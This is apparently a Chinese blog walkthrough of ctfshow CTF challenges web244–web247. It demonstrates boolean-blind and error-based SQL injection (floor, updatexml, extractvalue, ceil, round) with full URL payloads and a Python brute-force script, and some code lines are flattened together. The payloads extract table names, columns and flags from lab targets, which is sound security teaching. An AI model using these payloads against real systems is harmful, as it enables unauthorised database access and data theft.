当前位置: 首页 > news >正文

ctfshow-web入门-sql注入(web244-web247)error 报错注入

目录

1、web244 

2、web245

3、web246

4、web247


1、web244 

在它查询框这里随便输什么都没有回显

还是在 api 接口下传参,输入存在 id:

/api/?id=1

查询成功

输入不存在的 id:

/api/?id=0

查询失败

追加单引号后,报 sql 语法错误:

/api/?id=0'

这里的回显要么是查询成功,要么是查询失败,因此无法使用联合查询注入,很典型的布尔盲注特征,注意这里用于闭合的注释符需要使用 url 编码的形式:

题目是想考报错注入,这里我先介绍盲注。

查表名:

payload = (f"id=0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1)='{k}',1,0)%23")

有一个名为 ctfshow_flag 的表,查列名:

payload = f"id=0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flag'),{j},1)='{k}',1,0)%23"

有一列就叫 flag,直接查它的内容:

payload = f"id=0'or if(substr((select flag from ctfshow_flag),{j},1)='{k}',1,0)%23" 

拿到 flag:ctfshow{9b9276fd-3180-4d98-97d8-94ccd6ffcb4a}

当然使用时间盲注也是一回事,只是布尔盲注更准确。

附上勇师傅的完整脚本:

# @author:Myon
# @time:20240911
import requests
import stringurl = 'http://1857171c-8ab4-4029-8732-9982731b6f74.challenge.ctf.show/api/'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = ''for j in range(1,50):for k in dic:# payload = (f"id=0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1)='{k}',1,0)%23") # 跑表名# print(payload)# payload = f"id=0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flag'),{j},1)='{k}',1,0)%23"  # 跑列名payload = f"id=0'or if(substr((select flag from ctfshow_flag),{j},1)='{k}',1,0)%23"  # 跑flagre = requests.get(url, params=payload)# print(re.text)if "\\u67e5\\u8be2\\u6210\\u529f" in re.text: # 注意反斜杠需要转义out += kbreakprint(out)

下面介绍报错注入的方法,常用的有三个函数:floor、updatexml、extractvalue

详细介绍可以参考我之前的文章:

最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结_报错注入payload-CSDN博客icon-default.png?t=O83Ahttps://myon6.blog.csdn.net/article/details/135184385这里不再过多赘述,直接上 payload,为了大家了解,我将分别使用这三个函数进行数据库名、表名、列名的查询。

先用 floor 函数查数据库名:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

我这里的非 xpath 字符用的 0x23,因此我们的报错结果会出现在 # 之后

得到数据库名为 ctfshow_web

使用 updatexml 函数查表名:

这里非 xpath 字符我用的 0x7e,因此我们的报错结果会出现在 ~ 后面

/api/?id=0'or (select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web')),0x7e))%23

同样得到表名 ctfshow_flag

再使用 extractvalue 函数查列名:

/api/?id=0'or (select extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_flag'))))%23

得到列名为 flag,那么最后就是直接查 flag 的值了,随便用哪个函数都可以:

这里我们又用回 floor

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select flag from ctfshow_flag),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

同样拿到 flag:ctfshow{9b9276fd-3180-4d98-97d8-94ccd6ffcb4a}

只要你玩通透了想怎么来怎么来

2、web245

 过滤 updatexml,用其他的即可,查表名:

/api/?id=0'or (select extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()))))%23

ctfshow_flagsa

查列名:

/api/?id=0'or (select extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='ctfshow_flagsa'))))%23

flag1

查字段:

/api/?id=0'or (select extractvalue(1,concat(0x7e,(select flag1 from ctfshow_flagsa))))%23

ctfshow{220da1a3-3a42-47bf-9184 只有前半段,对长度有限制。

我们换用 floor 函数:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select flag1 from ctfshow_flagsa),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

拿到 flag:ctfshow{220da1a3-3a42-47bf-9184-9ba44cb0ec40}

3、web246

过滤updatexml extractvalue,用 floor

查表名:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

有多行数据

用 limit 试试:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

修改 limit 参数,查第二个数据

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

ctfshow_flags

查列名:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flags' limit 1,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

flag2

查字段内容:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select flag2 from ctfshow_flags ),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

拿到 flag:ctfshow{75898391-fc6b-4d5f-9d3d-4efa1b157861}

4、web247

三个都过滤了

方法(1)使用 web244 的盲注

跑了一下是可行的,这里就不再重复演示了

方法(2)使用 round 或者 ceil 替换 floor

floor() 是向下取整,ceil() 是向上取整,round() 是四舍五入取整。

使用 ceil 函数,查表名:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23,ceil(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

ctfshow_flagsa

使用 round 函数查列名:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flagsa' limit 1,1),0x23,round(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

flag?

查字段:

这里直接用问号会报错,使用反引号包裹:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select `flag?` from ctfshow_flagsa),0x23,round(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

拿到 flag:ctfshow{3636a2a1-2c2b-4513-8d67-efa7182ec83a}


http://www.mrgr.cn/news/24411.html

相关文章:

  • 想报考pmp,一定得经过培训机构吗?
  • 从零到一,数字文创IP是如何在基地中孵化成长的?
  • 一文搞懂EureKa原理
  • postgresql 导出CSV格式数据
  • Android Studio新建工程(Java语言环境)
  • 从基础到进阶:直播美颜API集成主播美颜SDK的开发指南
  • P1308 [NOIP2011 普及组] 统计单词数
  • C++——智能指针
  • Go 语言中SplitByChars 方法
  • 下班后做小红书第7个月,涨粉7w,累计变现5w+,我只用到五个点
  • 拒稿后另投他刊,仍旧被判定“一稿多投”?
  • 【路径规划】APF算法、Vortex APF算法、Safe APF算法和动态Windows方法的比较
  • 让AI成为打光工具人(Stable Diffusion进阶篇:Imposing Consistent Light)
  • WinRAR下载安装完整教程
  • 微信小程序接收蓝牙数据超过20字节断包解决方案
  • 77-java 装饰器模式和适配器模式区别
  • 暴雨液冷服务器硬刚液冷放量元年
  • 平价蓝牙耳机哪个牌子好?四款宝藏机型独家推荐
  • String 的 replace replaceAll 方法 —— 将字符串中所有中文逗号替换为英文逗号
  • 点亮第一盏LED灯,认识stm32最小系统板